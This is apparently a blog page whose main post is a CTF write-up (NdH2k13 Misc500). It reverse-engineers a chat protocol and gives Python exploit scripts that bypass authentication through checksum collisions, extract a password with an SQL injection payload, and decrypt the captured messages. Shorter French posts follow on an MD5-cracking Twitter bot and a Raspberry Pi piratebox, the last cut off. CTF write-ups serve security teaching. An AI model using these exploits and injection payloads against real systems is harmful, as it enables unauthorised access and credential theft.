18
mars
'13

NdH2k13 Quals Misc500 write-up [en]

Publié le 18 mars 2013

Ndh2k13 quals got 352 participating teams and last only 24 hours, with only 14 tasks to solve. Among them, the Misc500 (namely "Wiretapped communication") stays unsolved and we think interesting to share with all of you the way it was intended to be solved. I created this task based on my professional experience, to make it look like a concrete and real case. Here is how to solve it.

Contestants were provided with a ZIP file, containing a network capture (a PCAP dump) and what seems to be a binary version of the server program used by John Adams to communicate securely. The communication protocol is weird but having a look at an hexdump of the conversation allows us to draw some hypothesis.

Analyzing the PCAP dump

First of all, there seems to be a common pattern in the exchanged data. Many blocks of information starts with a byte, then what seems to be a 32-bit coded size, then this exact number of bytes and 4 extra bytes. No idea of what it is or how it is used. Anyway, some cleartext appears in the first bytes sent by the client:

00000000  01 0b 00 00 00 6a 6f 68  6e 2e 61 64 61 6d 73 00 .....joh n.adams.
00000010  24 7f a8 19                                      $...

"john.adams" is 10 bytes long, 11 (0x0b) with the null character, but some extra bytes left and we have no clue about it. The first byte seems to be a message ID or something like this, but this has to be confirmed with the reverse-engineering of the binary application.

All the messages exchanged between the client and the server are built upon this pattern, however there is no more cleartext past the first message sent by the client, that probably means a kind of encryption is used to ensure confidentiality.

Running the binary

The binary file is a 64-bit ELF executable:

$ file protoss
protoss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x93f6def440dcf9552dee2f55efad461e72f1516e, stripped

Simply running the binary raises many error messages stating some libraries are missing:

$ ./protoss
./protoss: error while loading shared libraries: libboost_system.so.1.42.0: cannot open shared object file: No such file or directory
...
./protoss: error while loading shared libraries: libmysqlcppconn.so.4: cannot open shared object file: No such file or directory
...
./protoss: error while loading shared libraries: libcrypto.so.0.9.8: cannot open shared object file: No such file or directory
...

Seems this binary uses a MySQL connection and some crypto APIs, pretty interesting. If you try to use LD_PRELOAD or something similar, you may experience some troubles with the MySQL C++ connector library, as I did during my tests. Anyway, the MySQL connection step seems to work when using the correct libraries in conjonction with the LD_PRELOAD trick, that'll do the job.

To make it work, use OpenSSL version 0.9.8, MysqlCppConnector, Boost System, and Boost Thread MT libraries. Mysql user is 'protoss' with a password of 'XXXXXXXXXXX' with full access to a database called 'proto' and a table named 'proto'. Its schema and content are provided in the archive at the end of this post.

Strings first !

Searching for strings in the binary application is always a good idea, and sure it was for this task too. You may have spot these strings:

tcp://127.0.0.1:3306
proto
protoss
XXXXXXXXXXX

This is pretty much an SQL connection string, and maybe some credentials. After some tests using the LD_PRELOAD trick with the original libraries (using every correct version), you would find the correct combination and therefore the following connection string:

mysql://protoss:XXXXXXXXXXX@127.0.0.1:proto

It is straightforward to set up a MySQL server on your machine, create a database named "proto" and create a "protoss" user identified by the password "XXXXXXXXXXX". Once done, running the binary again displays an informational string stating the database connection is perfectly working:

[messaging] connecting to database ....
[messaging] starting ...

During my tests, I was not able to perform requests using a more recent version of the MySQL C++ connector library. I decided to make a deep analysis of this binary using only IDA instead of debugging the server. But if you find the correct system configuration with the exact same versions of all the libs, you would be able to have more information by debugging it.

However, running a netstat showed that this process listens on port 2013. If you were a bit curious about z0b.nuitduhack.com, you'd have noticed the same port listening. Keep it in mind, and continue the reading.

Finding the custom checksum algorithm ...

The first strange thing we observed by analyzing the provided PCAP file was the pattern itself. If the server is able to communicate with some client software, it must be able to parse the messages it receives. And there must be a piece of code for that. Starting from the socket's related functions (accept(), send(), recv()), you may eventually found in the program the piece of code handling this stuff.

<emb142|center>

Our hypothesis is now confirmed: the server reads 1 byte, then 4 bytes followed by a variable-length set of bytes:

<emb144|center>

The server software also checks the last 4 bytes by using a strange function located at 407F1E. This function looks like a kind of checksum:

<emb143|center>

The corresponding C code:

unsigned int checksum(unsigned char *buffer, int size)
*
    int i;
    unsigned int cs = 0xD34DB33F;
    for (i=0; i<size; i++)
        cs = ((cs^0x7BF239A) * buffer[i])^0x19A87F24;
    return cs;
*

It is easy to check if we got a valid checksum algorithm by applying it to a message from the dump:

def checksum(bytes):
    cs=0xD34DB33F;
    for b in bytes:
        cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
    return cs

test_set = [
("010b0000006a6f686e2e6164616d7300".decode('hex'),  0x19A87F24),
]
for b,cs in test_set:
    print checksum(b)==cs

... and abuse it to bypass authentication !

A deeper analysis of the target binary reveals that the same checksum function is used during the authentication process:

<emb145|center>

The resulting checksum is encoded into an hexadecimal form and then checked with the string returned by the client: if it matches that means the client was able to compute the checksum and therefore knows the password.

To summup the authentication process: 1. Client send to the server its username (message code: 01) 2. Server generates a random string (20 bytes) and send it to the client (message code: 02) 3. Client computes checksum(password+randomstring) and send it encoded in hexa to the server (message code: 03) 4. Server computes the same (should have the password stored in plain text in the database), encodes, and compares both strings: if they are equals, user is authenticated (or not). (message code: 04 or 05)

Be careful, the hex encoding used by the remote program is in fact an hexdump of the unsigned integer value, not the value itself that is hex encoded.

The authentication success message contains a session key intended to be used to encrypt the rest of the communication, but this message is encrypted with the user's password.

Based on this analysis, breaking the password with only a single checksum computed from this password and a randomly generated string will not be enough. Originally, z0b.nuitduhack.com hosted all the services related to the CTF, and had its port 2013 open. Remember, protoss server listens on this port. What if we try to authenticate without knowing John Adams' password ? What if we find another password (shorter than the original one) that matches the same checksum ?

With a 32-bit long checksum, a good approach consists in looking for collisions. Starting from a 3-byte long collision, I wrote this little python script and run it to determine how many collision exists with this setup:

def checksum(bytes):
    cs=0xD34DB33F;
    for b in bytes:
        cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
    return cs

challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
    for b in range(0,256):
        for c in range(0,256):
            if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
                i += 1
                print '%03d => %02x%02x%02x' %(i, a,b,c)

I then ran this program and got this:

001 => 0048f3
002 => 01a0cb
...
321 => ff83ea
322 => ffad76

322 collisions, this is very few but not sure if this will work with the remote server. Well, let's give it a try with a dedicated python script:

import socket
import sys
from struct import pack,unpack

def toHex(v):
    hx = ''
    for i in range(4):
        hx+=hex(v&0xFF)[2:].rjust(2,'0').upper()
        v = v>>8
    return hx

def readMsg(s):
    op = s.recv(1)
    size = s.recv(4)
    while len(size)<4:
        size += s.recv(4-len(size))
    size_ = unpack('<I',size)[0]
    payload = s.recv(size_)
    while len(payload)<size_:
        payload += s.recv(size_ - len(payload))
    checksum = s.recv(4)
    while len(checksum)<4:
        checksum += s.recv(4-len(checksum))
    return (ord(op),payload,checksum)

def tryAuth(username, password):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1',2013))
    # replay authentication request message
    print '`+] Sending authentication request, waiting for a challenge ...'
    s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
    # wait for a message
    op,payload,cs = readMsg(s)
    # extract challenge
    if op==2:
        challenge = payload[:20]
        print '[+] Got challenge: <%s>' % challenge
        answer = toHex(checksum(password+challenge))
        msg = '\x03\x09\x00\x00\x00%s\x00' % answer
        cs = checksum(msg)
        msg += pack('<I',cs)
        print msg.encode('hex')
        print '[+] Send answer ...'
        s.send(msg)
        op,payload,cs = readMsg(s)
        return op==0x14
    else:
        return False

def checksum(bytes):
    cs=0xD34DB33F;
    for b in bytes:
        cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
    return cs

challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
    for b in range(0,256):
        for c in range(0,256):
            if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
                i += 1
                pwd = '%c%c%c' % (a,b,c)
                if tryAuth('john.adams',pwd):
                    print 'Gotcha !  <%02x%02x%02x' % (a,b,c)
                    sys.exit(1)

Run this script against the server:

$ python authbypass.py
[+>`_ Sending authentication request, waiting for a challenge ...
`+] Got challenge: <QREOIapVMr^\yeJQ_Twp>
0309000000453446304130393100247fa819
[+] Send answer ...
Gotcha !  <0048f3

Yippikaye, we found a valid collision !

Time to rule 'em all !

Okay, we are now authenticated on the remote server as John Adams, but his password is still missing and is required to decrypt the entire conversation. Even with a checksum collision, we will not be able to retrieve this password. We have to find another way to get this damned password.

In the message processing function (4041CA), you may notice a particular message type that calls many functions to retrieve the last seen date of a given nick from the database:

<emb146|center>

This SQL query is not prepared and prone to an injection. We can abuse it to retrieve whatever we want, but we have to be authenticated to send this message, otherwise the server will not process it. Hurray, we previously found a way to fake an authentication, and this message does not seem to require encryption !

Let's improve our exploit:

import socket
import sys
from struct import pack,unpack

def toHex(v):
    hx = ''
    for i in range(4):
        hx+=hex(v&0xFF)[2:>`_.rjust(2,'0').upper()
        v = v>>8
    return hx

def readMsg(s):
    op = s.recv(1)
    size = s.recv(4)
    while len(size)<4:
        size += s.recv(4-len(size))
    size_ = unpack('<I',size)[0]
    payload = s.recv(size_)
    while len(payload)<size_:
        payload += s.recv(size_ - len(payload))
    checksum = s.recv(4)
    while len(checksum)<4:
        checksum += s.recv(4-len(checksum))
    return (ord(op),payload,checksum)


def exploitSqli(username, password):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1',2013))
    # replay authentication request message
    print '[+] Sending authentication request, waiting for a challenge ...'
    s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
    # wait for a message
    op,payload,cs = readMsg(s)
    # extract challenge
    if op==2:
        challenge = payload[:20]
        print '[+] Got challenge: %s' % challenge
        answer = toHex(checksum(password+challenge))
        msg = '\x03\x09\x00\x00\x00%s\x00' % answer
        cs = checksum(msg)
        msg += pack('<I',cs)
        print '[+] Send answer ...'
        s.send(msg)
        op,payload,cs = readMsg(s)
        if op==0x14:
            # send last seen msg
            payload = "t' and 1=0 union select pwd FROM proto WHERE nick='john.adams' #\x00"
            msg = "\x07"+pack('<I',len(payload))+payload
            cs = checksum(msg)
            msg += pack('<I',cs)
            s.send(msg)
            op,payload,cs = readMsg(s)
            #print '[+] Got pwd: %s' % payload
            return payload
        else:
            return None
    else:
        return None

def tryAuth(username, password):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('127.0.0.1',2013))
    # replay authentication request message
    print '[+] Sending authentication request, waiting for a challenge ...'
    s.send('010b0000006a6f686e2e6164616d7300247FA819'.decode('hex'))
    # wait for a message
    op,payload,cs = readMsg(s)
    # extract challenge
    if op==2:
        challenge = payload[:20]
        print '[+] Got challenge: <%s>' % challenge
        answer = toHex(checksum(password+challenge))
        msg = '\x03\x09\x00\x00\x00%s\x00' % answer
        cs = checksum(msg)
        msg += pack('<I',cs)
        print '[+] Send answer ...'
        s.send(msg)
        op,payload,cs = readMsg(s)
        return op==0x14
    else:
        return False

def checksum(bytes):
    cs=0xD34DB33F;
    for b in bytes:
        cs = (((cs^0x7BF239A)*ord(b))&0xFFFFFFFF)^0x19A87F24
    return cs

challenge = '794a4b635f716e464c584c6d765b7474715e6543'.decode('hex')
i=0
for a in range(0,256):
    for b in range(0,256):
        for c in range(0,256):
            if checksum('%c%c%c%s' % (a,b,c,challenge))==0xE1649BEC:
                i += 1
                pwd = '%c%c%c' % (a,b,c)
                real_pwd = exploitSqli('john.adams',pwd)
                if real_pwd is not None:
                    print '[+] John Adams password: %s' % real_pwd
                    sys.exit(1)

Once done, we launched again our exploit against the remote service:

$ python exploit.py
[+] Sending authentication request, waiting for a challenge ...
[+] Got challenge: U^WGxQGfsID^AiSpQTcZ
[+] Send answer ...
[+] John Adams password: RbUmJhFG2mZD238_TvdFv0ww1

Here it is, our precious sesame: RbUmJhFG2mZD238_TvdFv0ww1 !

And now, ladies and gentlemen ...

With this password, you may be able to recover the entire conversation between John Adams and his friend. But remember, this conversation is encrypted using a session key, so we first need to decrypt the session key to be able to decrypt the following messages. Session key is sent in the authentication reply by the server, this corresponds to this encrypted data (hexdump):

b91434faab2512dd3bd7d5a79353554de5fbd9316675694314eb6be6fc41623992e4b9825721de48

This data is composed of 40 bytes (multiple of 8 bytes, since the encryption algorithm used is Blowfish). The password is expanded to a multiple of 8 bytes by the server and then used as a key to encrypt the session key. If you had a look to the imported functions, you'd see that EVP functions are used (provided by OpenSSL). I wrote a little program to decrypt the session key and the messages exchanged using the same functions:

#include <iostream>
#include <cstring>
#include <openssl/evp.h>

/**
 * Expanded password
 *
 * Expansion is performed by cycling around the password's chars until its size
 * is a multiple of 8.
 */
#define KEY "RbUmJhFG2mZD238_TvdFv0ww1RbUmJhF"

using namespace std;

/* Raw encrypted messages extracted from the PCAP, without header and checksum */
unsigned char talks[][256] = *
{0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x1d, 0xf9, 0xbb, 0x9a, 0x0c, 0xa4, 0xbe, 0x15, 0x3c, 0x39, 0xe9, 0xac, 0x16, 0xcb, 0xe9, 0x98*,
*0x20, 0xa4, 0xcb, 0x07, 0x58, 0x0a, 0xa2, 0x3f, 0xe1, 0x54, 0x35, 0x80, 0xeb, 0xf3, 0xcc, 0x2f*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x87, 0xad, 0x50, 0xdc, 0xe7, 0x1f, 0x62, 0x76, 0x5e, 0x6c, 0xf3, 0x26, 0xa6, 0x50, 0x77, 0x91*,
*0x05, 0xdc, 0x6b, 0x04, 0x7a, 0x75, 0x49, 0x5a, 0x5e, 0x9b, 0xf5, 0x2b, 0x93, 0x49, 0xaa, 0xc4*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0xf4, 0x9b, 0x8c, 0xe5, 0xe4, 0x82, 0xdb, 0x4d, 0x4a, 0x8f, 0x59, 0x7e, 0xe1, 0xcd, 0xcf, 0x5e*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0xa4, 0x4e, 0x04, 0x5e, 0xd8, 0x8b, 0xdd, 0xd0, 0xbf, 0x0e, 0x95, 0x14, 0x52, 0xb7, 0xfc, 0xc6*,
*0x54, 0x0a, 0x08, 0x3f, 0x61, 0x3c, 0x89, 0xb2*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x47, 0x6b, 0xc0, 0xa4, 0xfb, 0x58, 0x02, 0x42, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x26, 0xaa, 0x71, 0x7d, 0x78, 0xda, 0x9b, 0xc0, 0x38, 0xf0, 0xf4, 0x46, 0xeb, 0xc2, 0x85, 0xd3, 0x3b, 0xfd, 0xb1, 0xec, 0x6e, 0x91, 0x52, 0x1b, 0x57, 0xa0, 0x92, 0x02, 0x0d, 0xf5, 0x76, 0xaa, 0x3a, 0xc0, 0xca, 0x27, 0x54, 0x51, 0x45, 0x5e, 0xb4, 0xa9, 0xb9, 0x68, 0x6e, 0x9e, 0x7e, 0xd1, 0xac, 0x63, 0x18, 0x8d, 0x2a, 0x7e, 0x04, 0xe1, 0xf7, 0x04, 0x35, 0x1b, 0x12, 0x8a, 0x42, 0x4d*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x45, 0x54, 0x21, 0xde, 0xc1, 0xe2, 0x40, 0x72, 0x91, 0xe2, 0xa3, 0x7c, 0x82, 0xbb, 0x96, 0x34, 0x01, 0x70, 0xea, 0xd4, 0x99, 0x10, 0x7a, 0xf4, 0x8e, 0x29, 0xea, 0x31, 0x15, 0xb1, 0x8c, 0xbf, 0xff, 0x6d, 0x4d, 0x0f, 0xf8, 0x81, 0xa6, 0x4c, 0xa6, 0x2e, 0x92, 0x97, 0x60, 0x87, 0x41, 0x15, 0xfc, 0x64, 0x17, 0xaf, 0x33, 0xaf, 0x38, 0x9b, 0x68, 0x57, 0xf3, 0x7e, 0xf5, 0x7e, 0x43, 0x43, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x30, 0x83, 0x53, 0xe5, 0x06, 0x53, 0x71, 0x02, 0xde, 0x08, 0xb4, 0x48, 0xaf, 0x73, 0x43, 0x1c, 0x43, 0x1b, 0xe7, 0x9f, 0x08, 0x4d, 0x63, 0x71, 0xc6, 0xc6, 0x95, 0x6e, 0x1e, 0x1f, 0x2d, 0x70, 0x07, 0xf3, 0xdc, 0x0d, 0x30, 0xba, 0x2c, 0xb3, 0x61, 0xf8, 0xbb, 0x33, 0x52, 0xa7, 0x1f, 0xe5, 0xa8, 0x07, 0xf9, 0xfb, 0xd3, 0xe1, 0x8d, 0x65*,
*0x61, 0xf7, 0xc8,
0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33,
0x6f, 0x05, 0x23, 0x82, 0x27, 0x01, 0xec, 0x16,
0x21, 0x8d, 0x7c, 0xb8, 0x8e, 0x44, 0x34, 0x90,
0x90, 0x5b, 0xcb, 0x07, 0x97, 0x6a, 0xd2, 0xf5,
0x6b, 0x89, 0x71, 0x26, 0x3b, 0x26, 0x0c, 0x9d,
0xff, 0x25, 0x7e, 0x68, 0xc8, 0x71, 0x1f, 0x4d,
0x21, 0xcd, 0xe5, 0x68, 0x46, 0x9b, 0xca, 0x38,
0x16, 0x6d, 0x0a, 0xe8, 0xa5, 0x96, 0xe1, 0xfc,
0xeb, 0xf8, 0xe2, 0xd6, 0x40*,
*0x8d, 0x63, 0x34,
0x9e, 0xa3, 0xf2, 0x8f, 0x31*,
*0x5f, 0xec, 0x8c,
0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x20, 0x6e, 0xb9,
0x8e, 0x3c, 0x79, 0x66, 0x47, 0xfe, 0x62, 0xaa,
0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x1d, 0x4e, 0x8f, 0xa9, 0xe5, 0xab, 0xcf, 0x92, 0x46, 0xd0, 0xbb, 0xa5, 0x17, 0xa8, 0xac, 0x57, 0xd9, 0xfa, 0xb0, 0xbf, 0xb8, 0x33, 0x81, 0x3a, 0xc7, 0x13, 0x49, 0xfb, 0x78, 0x6a, 0x48, 0x33, 0x71, 0x6d, 0xea, 0x4a, 0xce, 0x58, 0xb7, 0x13, 0xf9, 0xf7, 0x18, 0x4c, 0xf9, 0x54, 0x75, 0xb5, 0x32, 0x05, 0x88, 0xd5, 0xf1, 0x7a, 0xba, 0x15, 0xe3, 0xc4, 0xf0, 0xa5, 0x14, 0xf5, 0x4e, 0x7a, 0xc8, 0xdd, 0xa7, 0x03, 0x2e, 0x94, 0xca, 0xe8, 0xb1, 0x22, 0x2c, 0xc7, 0x7b, 0x65, 0xba, 0x97, 0x8b, 0x19, 0xe2, 0x71, 0x04, 0x1a, 0x4e, 0x0d, 0x8c, 0xfd, 0xf3, 0x1c, 0x83, 0x42, 0xe0, 0x57*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x2a, 0xb4, 0x36, 0x5a, 0x8d, 0x0c, 0x4e, 0xed, 0xea, 0xe8, 0xeb, 0xfc, 0xe9, 0x66, 0xf7, 0x9d, 0x5f, 0x8d, 0x7f, 0x9f, 0x39, 0x32, 0xcf, 0x92, 0xf9, 0xe4, 0x36, 0xc4, 0xae, 0xef, 0x05, 0xa6, 0x18, 0x06, 0x68, 0x22, 0xf0, 0x60, 0x03, 0x1a, 0x11, 0x95, 0x48, 0x21, 0x41, 0x79, 0xbb, 0xca, 0xe3, 0x0f, 0x75, 0xa4, 0x42, 0x04, 0x15, 0xfd, 0xec, 0xa6, 0xcb, 0x90, 0x8c, 0xcd, 0xab, 0xc4, 0x54, 0x5d, 0x1d, 0xde, 0x2c, 0x55, 0xa8, 0x31, 0xfc, 0xf7, 0xc0, 0xe5, 0xda, 0x52, 0xd2, 0x39, 0x6b, 0x74, 0x4e, 0x19, 0x9a, 0xe9, 0x63, 0x1d, 0x40, 0x58, 0x49, 0x2a, 0x79, 0x06, 0xf1, 0x00*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0xee, 0x96, 0x8b, 0x09, 0x3a, 0x5e, 0xe7, 0xd0, 0xf1, 0x8e, 0xa1, 0xed, 0xe9, 0xff, 0x39, 0xce, 0x87, 0xc5, 0x9d, 0x72, 0x55, 0xf5, 0xae, 0xec*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x64, 0xbd, 0xeb, 0x08, 0x5f, 0x86, 0xe8, 0xf8, 0xd3, 0xdb, 0x56, 0xe3, 0x8d, 0x30, 0x0a, 0x42, 0x04, 0xf1, 0x7c, 0x72, 0xd9, 0x49, 0x41, 0x97*,
*0xae, 0xba, 0x9b, 0x53, 0xc6, 0x38, 0xb2, 0xbc, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x1d, 0xc2, 0x79, 0xf5, 0x37, 0x42, 0x1b, 0x1d, 0xcf, 0xa7, 0xb6, 0x50, 0xfb, 0x8b, 0x05, 0x69*
};

int round(int a)
*
    return (a/8)*8 + ((a%8>0)?8:0);
*

int main(int argc, char **argv)
*
    int i;
    EVP_CIPHER_CTX ctx;
    EVP_CIPHER_CTX_init(&ctx);
    unsigned char key[256];
    int buflen = 0,tmplen=0;
    /* Raw encrypted session key */
    unsigned char bufferin[] =  "\xb9\x14\x34\xfa\xab\x25\x12\xdd\x3b"
                                "\xd7\xd5\xa7\x93\x53\x55\x4d\xe5\xfb"
                                "\xd9\x31\x66\x75\x69\x43\x14\xeb\x6b"
                                "\xe6\xfc\x41\x62\x39\x92\xe4\xb9\x82"
                                "\x57\x21\xde\x48";
    unsigned char bufferout[256];

    EVP_DecryptInit_ex(&ctx, EVP_bf_ecb(), NULL, (unsigned char* )KEY, NULL);
    EVP_DecryptUpdate(&ctx, bufferout, &buflen, bufferin, 40);
    EVP_DecryptFinal_ex(&ctx, bufferout+buflen, &tmplen);
    EVP_CIPHER_CTX_cleanup(&ctx);

    cout << "Session Key: "<<bufferout<<endl;
    memcpy(key, bufferout, 256);
    for (i=0; i<20; i++)
    {
        buflen = 0;
        tmplen = 0;
        EVP_DecryptInit_ex(&ctx, EVP_bf_ecb(), NULL, key, NULL);
        EVP_DecryptUpdate(&ctx, bufferout, &buflen, talks[i], round(strlen((const char *)talks[i])));
        EVP_DecryptFinal_ex(&ctx, bufferout+buflen, &tmplen);
        EVP_CIPHER_CTX_cleanup(&ctx);
        cout << "Talk: " << bufferout<<endl;
    *

    return 0;
}

Here are the decrypted messages:

Session Key: QAWuI_]bQwrMuqskR\NfvrbUniUsUOCQ
Talk: gunther.vanderbeck> hello =)
Talk: hi gunther
Talk: john.adams> hi gunther
Talk: how r u ?
Talk: john.adams> how r u ?
Talk: gunther.vanderbeck> fine & u ?
Talk: fine
Talk: john.adams> fine
Talk: did you managed to break what we've talked about last time ?
Talk: john.adams> did you managed to break what we've talked about last time ?
Talk: gunther.vanderbeck> ofc, got his pwd: CantSniffThisFuckingProtocol
Talk: gunther.vanderbeck> seems he tried to break into our chat system ;)
Talk: rofl
Talk: john.adams> rofl
Talk: encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^
Talk: john.adams> encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^
Talk: gunther.vanderbeck> u roxx dude ;)
Talk: gunther.vanderbeck> cya, gotta leave
Talk: cya dude
Talk: john.adams> cya dude

The flag was: CantSniffThisFuckingProtocol.

Conclusion

A working remote service was required to correctly exploit all the vulnerabilities and get the flag. Since the remote service is down and the provided binary not fully working on any workstation/OS, I provide the source code of this server and the related SQL sample data to those of you who want to reproduce this attack and/or try it by theirselves.

For more information or questions , do not hesitate to ask on Twitter (@virtualabs) or send an email to virtualabs -the correct symbol here- gmail -what seems to be a dot- com.

20
févr.
'13

Casser du MD5 avec Hashbot

Publié le 20 février 2013

Cela fait plusieurs mois que je travaille sur des méthodes de cassage de mot de passe améliorées (enfin, j'essaie), et je suis arrivé à un outil plutôt performant et relativement simple dont je ne vais pas diffuser le code de suite. Pourquoi ? Eh bien tout simplement car j'ai dans l'optique de le présenter dans un avenir proche, mais surtout de le tester abondamment. Et pour cela, j'ai mis au point un système de robot twitter offrant un système de cassage de mots de passe basé sur cet outil.

Hashbot, kezako ?

Pour l'occasion, je me suis lancé dans le développement d'un bot twitter, car je n'avais pas forcément envie de monter un site pour l'occasion, et pour plein d'autres raisons: * je n'avais pas envie de mettre de CAPTCHA * je voulais en même temps assurer une diffusion des résultats * je comptais tenir informé via un compte twitter de l'avancée de ce petit projet

Bref, Twitter imposant ses propres limites et ses fonctionnalités, j'ai jugé que c'était un moyen original et à faible coût pour réaliser une interface. Je suis donc parti sur l'idée d'un bot à qui l'on pourrait fournir des hashes MD5, voire même des URLs pointant vers des hashes MD5, qui les ajouterait à une liste de hashes à casser et posterait le résultat sur Twitter. En gros, un robot connecté pilotable par les utilisateurs.

Afin de conserver un bon ratio de cassage de mot de passe, j'ai opté pour un système en cycle. Le principe est simple: le robot collecte toutes les heures les hashes transmis par les utilisateurs, et lance une session de cassage d'une heure. A la fin de celle-ci, il communique les résultats s'il y en a. Bien sûr, plus il y a de personnes à l'utiliser mieux c'est, et à l'heure où j'écris ces lignes il n'y a pas foule à suivre @h4shb0t.

Les résultats sont actuellement postés sur le pastebin de archlinux.fr, mais pourront bouger par la suite.

Implémentation

Le code principal de Hashbot repose sur la bibliothèque Python implémentant une interface à l'API Twitter, j'ai nommé python-twitter. Cette API permet, moyennant des clés d'accès au service, d'accéder aux tweets d'utilisateurs l'ayant installée (c'est le cas pour @h4shb0t) et de réagir en fonction.

Le bot est structuré en deux threads séparés, l'un réalisant la collecte des hashes tandis que l'autre prend en charge les sessions de cassage, et l'envoi des résultats. La phase de cassage est assurée par un outil en ligne de commande, dont le résultat est analysé par le code Python et ensuite envoyé sur un pastebin. Le tout n'est pas anonyme, mais disons que @h4shb0t contribue aussi à peupler la grande base de données de clairs connus (a.k.a. known plaintexts, mais c'est aussi pour ça que certains utilisateurs le suivent sans envoyer de hashes).

Ok, comment on s'en sert ?

Pour demander à @h4shb0t de casser un ou plusieurs hashes MD5, rien de plus simple: * Suivez @h4shb0t sur Twitter (histoire de recevoir les notifications de résultats), * Tweetez à @h4shbot (mention) un ou plusieurs hashes MD5, ou mieux au moins une URL pointant sur un fichier contenant un ou plusieurs hashes MD5, * Attendez l'annonce de @h4shb0t indiquant la bonne réception des hashes et le démarrage d'une session de cassage (toutes les heures)

<emb140|center>

<emb141|center>

Pour le moment, @h4shb0t n'envoie pas de messages direct (DM), par peur de représailles de la part de Twitter. Cependant, l'idée de monter un petit site synthétisant les requêtes ainsi que le taux de réussite et les différentes sessions de cassage semble intéressant.

03
févr.
'13

Ratbox, une piratebox à base de Raspberry Pi

Publié le 03 février 2013

J'ai reçu fin septembre mon exemplaire du Raspberry Pi, après quelques semaines d'attente. J'avais en tête d'en faire une piratebox portable, à l'aide d'une batterie USB et d'une clef Wifi. Mais ce qui semblait simple sur papier est en réalité un peu plus complexe à réaliser, car le Raspberry Pi cache quelques surprises, autant de bonnes que de mauvaises. J'ai d'ailleurs pu la présenter et la tester au meeting HZV de février 2013, et ceux qui ont assisté à ma présentation trouveront dans cet article toute la configuration et un poil plus de détails.

Présentation du Raspberry Pi

Durant le meeting HZV du 3 novembre, j'ai fait une rapide présentation du Raspberry Pi, en insistant notamment sur des caractéristiques particulières qui ne sont pas forcément mentionnées dans la doc constructeur mais que pas mal de personnes ont pu rencontrer durant leurs tests. Parmi les points noirs identifiés: * les ports USB de sortie sont limités à 140mA chaque, ce qui est parfait pour des périphériques passifs mais trop peu pour des disques externes ou même des clefs USB WiFi * certaines distributions ne tiennent pas la route, comme ArchLinux version ARM (dns instable, config OOB très pauvre)

Ceci dit, ce n'est pas pour autant que le RaspPi est inutilisable comme PC embarqué: certains hacks ont été découverts permettant de contourner ces limitations. L'un des problèmes majeurs, l'alimentation trop faible des ports USB, a été pallié grâce à l'emploi d'un hub USB alimenté via une source externe de puissance. En effet, le RaspPi peut être alimenté soit par le port micro USB (dédié à l'alimentation), soit par les connecteurs USB eux-même !

De là, plusieurs astuces d'alimentation peuvent être employées, pour ma part j'ai réalisé un hack un brin plus souple en construisant moi-même un bridge USB qui injecte du courant à l'aide d'une source externe, assurant ainsi l'alimentation du RaspPi et de la clef WiFi que j'utilise. Ainsi, on a assez de pêche pour alimenter les deux sans avoir à employer de hub, et avec une source d'alimentation unique (1 seul connecteur). A noter que durant le meeting de février 2012, une personne m'a fait remarquer d'un dongle 802.11n Edimax nano (ref: EDIMAX EW-7811Un Wireless Nano) consommait quasimment rien et fonctionnait bien tel quel.

Le RaspPi reste néanmoins un très bon investissement, car très flexible au niveau des usages (et d'autant plus lorsqu'on arrive à lui coller un dongle WiFi USB qui supporte le mode AP).

Le projet Ratbox

